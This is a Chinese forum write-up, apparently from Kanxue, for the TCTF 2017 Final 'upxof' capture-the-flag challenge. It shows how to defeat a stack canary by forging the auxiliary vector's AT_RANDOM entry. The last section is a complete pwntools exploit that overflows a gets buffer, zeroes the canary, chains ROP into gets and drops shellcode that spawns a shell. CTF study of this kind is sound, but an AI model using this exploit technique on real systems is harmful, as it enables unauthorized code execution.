本文为看雪论坛优秀文章
看雪论坛作者ID:微笑明天
利用绕过canary的另一种方法。通过修改AUXV(Auxiliary Vector)结构体使 canary 值可控。因为在ld的时候,canary是通过AUXV中的一个成员生成的。
happy@ubuntu ~/pwn/20170602-TCTF-Final/pwn-upxof checksec upxof
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX
happy@ubuntu ~/pwn/20170602-TCTF-Final/pwn-upxof checksec depack
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/depack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4;
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
printf("let's go:", 0LL);
gets(&v4);
return 0;
}
typedef struct
{
uint32_t a_type;
union
{
uint32_t a_val;
} a_un;
} Elf32_auxv_t;
typedef struct
{
uint64_t a_type;
union
{
uint64_t a_val;
} a_un;
} Elf64_auxv_t;
#define AT_NULL 0
#define AT_IGNORE 1
#define AT_EXECFD 2
#define AT_PHDR 3
#define AT_PHENT 4
#define AT_PHNUM 5
#define AT_PAGESZ 6
#define AT_BASE 7
#define AT_FLAGS 8
#define AT_ENTRY 9
#define AT_NOTELF 10
#define AT_UID 11
#define AT_EUID 12
#define AT_GID 13
#define AT_EGID 14
#define AT_CLKTCK 17
...
#define AT_FPUCW 18
...
#define AT_IGNOREPPC 22
#define AT_SECURE 23
#define AT_BASE_PLATFORM 24
#define AT_RANDOM 25
#define AT_HWCAP2 26
#define AT_EXECFN 31
...
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = '\n';
}
else
{
memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
#error "BYTE_ORDER unknown"
#endif
}
return ret.num;
}
#include <sys/auxv.h>
unsigned long int getauxval(unsigned long int type);
pwndbg> info auxv
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffa000
16 AT_HWCAP Machine-dependent CPU capability hints 0x1f8bfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x400040
4 AT_PHENT Size of program header entry 56
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x7ffff7dd7000
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x4004e0
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0x7fffffffe1f9
26 AT_HWCAP2 Extension of AT_HWCAP 0x0
31 AT_EXECFN File name of executable 0x7fffffffefc5 "/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/test"
15 AT_PLATFORM String identifying platform 0x7fffffffe209 "x86_64"
0 AT_NULL End of vector 0x0
pwndbg> x/gx 0x7fffffffe1f9
0x7fffffffe1f9: 0x5b3648d106233604
pwndbg> canary
AT_RANDOM = 0x7fffffffe1f9 # points to (not masked) global canary value
Canary = 0x5b3648d106233600
No valid canaries found on the stacks.
kernel---->AT_RANDOM---->fs:[0x28]---->canary
LOAD:000000000040099E sub_40099E proc near ; CODE XREF: start+7↑p
LOAD:000000000040099E
LOAD:000000000040099E arg_0 = qword ptr 8
LOAD:000000000040099E arg_8 = qword ptr 10h
LOAD:000000000040099E
LOAD:000000000040099E ; FUNCTION CHUNK AT LOAD:0000000000400C21 SIZE 00000008 BYTES
LOAD:000000000040099E
LOAD:000000000040099E pop rsi ; buf
LOAD:000000000040099F mov rdi, 1 ; fd
LOAD:00000000004009A6 mov rdx, 9 ; count
LOAD:00000000004009AD mov rax, 1
LOAD:00000000004009B4 syscall ; LINUX - sys_write
LOAD:00000000004009B6 mov r9, 0
LOAD:00000000004009BD mov [rsp-8+arg_0], r9
LOAD:00000000004009C2
LOAD:00000000004009C2 loc_4009C2: ; CODE XREF: sub_40099E+7C↓j
LOAD:00000000004009C2 mov r9, [rsp-8+arg_0]
LOAD:00000000004009C7 cmp r9, 4096h
LOAD:00000000004009CE jz short loc_400A1C
LOAD:00000000004009D0 mov rdi, 0 ; fd
LOAD:00000000004009D7 mov rsi, rsp
LOAD:00000000004009DA add rsi, r9
LOAD:00000000004009DD add rsi, 8 ; buf
LOAD:00000000004009E1 mov rdx, 1 ; count
LOAD:00000000004009E8 mov rax, 0
LOAD:00000000004009EF syscall ; LINUX - sys_read
LOAD:00000000004009F1 cmp rax, 1
pwndbg> info r rsi rsp
rsi 0x7fffffffde08 140737488346632
rsp 0x7fffffffde00 0x7fffffffde00
pwndbg> stack 120
00:0000│ rsp 0x7fffffffde00 ◂— 0x0
... ↓
10:0080│ 0x7fffffffde80 ◂— 0x1
11:0088│ 0x7fffffffde88 —▸ 0x7fffffffe214 ◂— '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
12:0090│ 0x7fffffffde90 ◂— 0x0
13:0098│ 0x7fffffffde98 —▸ 0x7fffffffe248 ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
14:00a0│ 0x7fffffffdea0 —▸ 0x7fffffffe27c ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg'
...(massive env pointers)
53:0298│ 0x7fffffffe098 —▸ 0x7fffffffefaf ◂— 'LINES=48'
54:02a0│ 0x7fffffffe0a0 —▸ 0x7fffffffefb8 ◂— 'COLUMNS=135'
55:02a8│ 0x7fffffffe0a8 ◂— 0x0
56:02b0│ 0x7fffffffe0b0 ◂— 0x21
57:02b8│ 0x7fffffffe0b8 —▸ 0x7ffff7ffd000 ◂— jg 0x7ffff7ffd047
58:02c0│ 0x7fffffffe0c0 ◂— 0x10
59:02c8│ 0x7fffffffe0c8 ◂— 0x1f8bfbff
5a:02d0│ 0x7fffffffe0d0 ◂— 0x6
5b:02d8│ 0x7fffffffe0d8 ◂— 0x1000
5c:02e0│ 0x7fffffffe0e0 ◂— 0x11
5d:02e8│ 0x7fffffffe0e8 ◂— 0x64
5e:02f0│ 0x7fffffffe0f0 ◂— 0x3
5f:02f8│ 0x7fffffffe0f8 —▸ 0x400040 ◂— add dword ptr [rax], eax
60:0300│ 0x7fffffffe100 ◂— 0x4
61:0308│ 0x7fffffffe108 ◂— 0x38
62:0310│ 0x7fffffffe110 ◂— 0x5
63:0318│ 0x7fffffffe118 ◂— 0x2
64:0320│ 0x7fffffffe120 ◂— 0x7
65:0328│ 0x7fffffffe128 ◂— 0x0
66:0330│ 0x7fffffffe130 ◂— 0x8
67:0338│ 0x7fffffffe138 ◂— 0x0
68:0340│ 0x7fffffffe140 ◂— 9
69:0348│ 0x7fffffffe148 —▸ 0x400988 ◂— sub rsp, 0x80
6a:0350│ 0x7fffffffe150 ◂— 0xb
6b:0358│ 0x7fffffffe158 ◂— 0x3e8
6c:0360│ 0x7fffffffe160 ◂— 0xc
6d:0368│ 0x7fffffffe168 ◂— 0x3e8
6e:0370│ 0x7fffffffe170 ◂— 0xd
6f:0378│ 0x7fffffffe178 ◂— 0x3e8
70:0380│ 0x7fffffffe180 ◂— 0xe
71:0388│ 0x7fffffffe188 ◂— 0x3e8
72:0390│ 0x7fffffffe190 ◂— 0x17
73:0398│ 0x7fffffffe198 ◂— 0x0
74:03a0│ 0x7fffffffe1a0 ◂— 0x19
75:03a8│ 0x7fffffffe1a8 —▸ 0x7fffffffe1f9 ◂— 0xc0d54f3a714d6d9a
76:03b0│ 0x7fffffffe1b0 ◂— 0x1a
77:03b8│ 0x7fffffffe1b8 ◂— 0x0
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./upxof")
p.recvuntil("password:")
payload = '12345678'
payload += p64(0) * 14
payload += p64(1) # argc
payload += p64(0x400008) # argv
payload += p64(0)
payload += p64(0x400008) * 42 # envp
payload += p64(0)
# aux vector
# payload += p64(0x21)
# payload += p64(0x7ffff7ffd000)
# payload += p64(0x10)
# payload += p64(0x1f8bfbff)
# payload += p64(0x6)
# payload += p64(0x1000)
# payload += p64(0x11)
# payload += p64(0x64)
payload += p64(0x3) # AT_PHDR
payload += p64(0x400040)
# payload += p64(0x4)
# payload += p64(0x38)
payload += p64(0x5) # AT_PHNUM
payload += p64(0x2)
# payload += p64(0x7)
# payload += p64(0x0)
# payload += p64(0x8)
# payload += p64(0x0)
payload += p64(0x9) # AT_ENTRY
payload += p64(0x400988)
# payload += p64(0xb)
# payload += p64(0x0)
# payload += p64(0xc)
# payload += p64(0x0)
# payload += p64(0xd)
# payload += p64(0x0)
# payload += p64(0xe)
# payload += p64(0x0)
# payload += p64(0x17)
# payload += p64(0x0)
payload += p64(0x19) # AT_RANDOM
payload += p64(0x8000a0) # data at 0x8000a0 is 0, so we control canary with 0
# payload += p64(0x1f)
# payload += p64(0x7fffffffeff0)
# payload += p64(0xf)
# payload += p64(0x7fffffffe659)
payload+=p64(0)
payload+=p64(0)
p.sendline(payload)
p.recvuntil('go:')
pop_rdi = 0x4007f3
gets = 0x4005B0
p.sendline(flat('\x00' * 1048, pop_rdi, 0x00800000, gets, 0x00800000)) # write shellcode to RWX 0x8000a0
p.sendline(asm(shellcraft.sh()))
p.interactive()
# gdb.attach(p,"b *0x400A1C")
# p.interactive()
AT_PHDR 0x3
AT_PHENT 0x4
AT_PHNUM 0x5
AT_ENTRY 0x9
看雪ID:微笑明天
https://bbs.pediy.com/user-821225.htm
推荐文章++++